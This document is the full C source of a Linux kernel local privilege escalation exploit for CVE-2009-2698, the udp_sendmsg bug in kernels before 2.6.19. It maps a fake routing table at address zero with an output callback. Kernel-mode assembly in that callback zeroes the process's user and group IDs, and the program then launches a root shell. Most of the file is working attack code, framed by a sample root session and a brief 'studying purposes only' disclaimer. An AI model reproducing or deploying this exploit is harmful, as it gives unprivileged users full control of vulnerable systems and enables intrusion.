Linux 2.6 kernels prior to version 2.6.19 udp_sendmsg local root exploit.
589a7c6856e4dc94ba37aaf2bf8e556d9958b133e9d7fae3e8a7922977a6f9ac
/***********************************************************
* hoagie_udp_sendmsg.c
* LOCAL LINUX KERNEL ROOT EXPLOIT (< 2.6.19) - CVE-2009-2698
*
* udp_sendmsg bug exploit via (*output) callback function
* used in dst_entry / rtable
*
* Bug reported by Tavis Ormandy and Julien Tinnes
* of the Google Security Team
*
* Tested with Debian Etch (r0)
*
* $ cat /etc/debian_version
* 4.0
* $ uname -a
* Linux debian 2.6.18-4-686 #1 SMP Mon Mar 26 17:17:36 UTC 2007 i686 GNU/Linux
* $ gcc hoagie_udp_sendmsg.c -o hoagie_udp_sendmsg
* $ ./hoagie_udp_sendmsg
* hoagie_udp_sendmsg.c - linux root < 2.6.19 local
* -andi / void.at
*
* sh-3.1# id
* uid=0(root) gid=0(root) Gruppen=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(andi)
* sh-3.1#
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* andi@void.at
* https://www.void.at
*
************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/mman.h>
/**
* this code will be called from NF_HOOK via (*output) callback in kernel mode
*/
void set_current_task_uids_gids_to_zero() {
asm("push %eax\n"
"movl $0xffffe000, %eax\n"
"andl %esp, %eax\n"
"movl (%eax), %eax\n"
"movl $0x0, 0x150(%eax)\n"
"movl $0x0, 0x154(%eax)\n"
"movl $0x0, 0x158(%eax)\n"
"movl $0x0, 0x15a(%eax)\n"
"movl $0x0, 0x160(%eax)\n"
"movl $0x0, 0x164(%eax)\n"
"movl $0x0, 0x168(%eax)\n"
"movl $0x0, 0x16a(%eax)\n"
"pop %eax\n");
}
int main(int argc, char **argv) {
int s;
struct msghdr header;
struct sockaddr_in sin;
char *rtable = NULL;
fprintf(stderr,
"hoagie_udp_sendmsg.c - linux root <= 2.6.19 local\n"
"-andi / void.at\n\n");
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
fprintf(stderr, "[*] can't create socket\n");
exit(-1);
}
/**
* initialize required variables
*/
memset(&header, 0, sizeof(struct msghdr));
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_port = htons(22);
header.msg_name = &sin;
header.msg_namelen = sizeof(sin);
/**
* and this is the trick:
* we can use (*output)(struct sk_buff*) from dst_entry (used by rtable) as a callback (=> offset 0x74)
* so we map our rtable buffer at offset 0 and set output callback function
*
* struct dst_entry
* {
* struct dst_entry *next;
* atomic_t __refcnt; client references
* int __use;
* struct dst_entry *child;
* struct net_device *dev;
* short error;
* short obsolete;
* int flags;
* #define DST_HOST 1
* #define DST_NOXFRM 2
* #define DST_NOPOLICY 4
* #define DST_NOHASH 8
* #define DST_BALANCED 0x10
* unsigned long lastuse;
* unsigned long expires;
*
* unsigned short header_len; * more space at head required *
* unsigned short trailer_len; * space to reserve at tail *
*
* u32 metrics[RTAX_MAX];
* struct dst_entry *path;
*
* unsigned long rate_last; * rate limiting for ICMP *
* unsigned long rate_tokens;
*
* struct neighbour *neighbour;
* struct hh_cache *hh;
* struct xfrm_state *xfrm;
*
* int (*input)(struct sk_buff*);
* int (*output)(struct sk_buff*);
*
* #ifdef CONFIG_NET_CLS_ROUTE
* __u32 tclassid;
* #endif
*
* struct dst_ops *ops;
* struct rcu_head rcu_head;
*
* char info[0];
* };
*
* struct rtable
* {
* union
* {
* struct dst_entry dst;
* struct rtable *rt_next;
* } u;
*
* struct in_device *idev;
*
* unsigned rt_flags;
* __u16 rt_type;
* __u16 rt_multipath_alg;
*
* __be32 rt_dst; * Path destination *
* __be32 rt_src; * Path source *
* int rt_iif;
*
* * Info on neighbour *
* __be32 rt_gateway;
*
* * Cache lookup keys *
* struct flowi fl;
*
* * Miscellaneous cached information *
* __be32 rt_spec_dst; * RFC1122 specific destination *
* struct inet_peer *peer; * long-living peer info *
* };
*
*/
rtable = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (rtable == MAP_FAILED) {
fprintf(stderr, "[*] mmap failed\n");
exit(-1);
}
*(int *)(rtable + 0x74) = (int)set_current_task_uids_gids_to_zero;
/* trigger exploit
*
* the second sendmsg() call will call ip_append_data() with rt == NULL
* because of:
* if (up->pending) {
* *
* * There are pending frames.
* * The socket lock must be held while it's corked.
* *
* lock_sock(sk);
* if (likely(up->pending)) {
* if (unlikely(up->pending != AF_INET)) {
* release_sock(sk);
* return -EINVAL;
* }
* goto do_append_data;
* }
* release_sock(sk);
* }
*
*/
sendmsg(s, &header, MSG_MORE|MSG_PROXY);
sendmsg(s, &header, 0);
close(s);
system("/bin/sh");
return 0;
}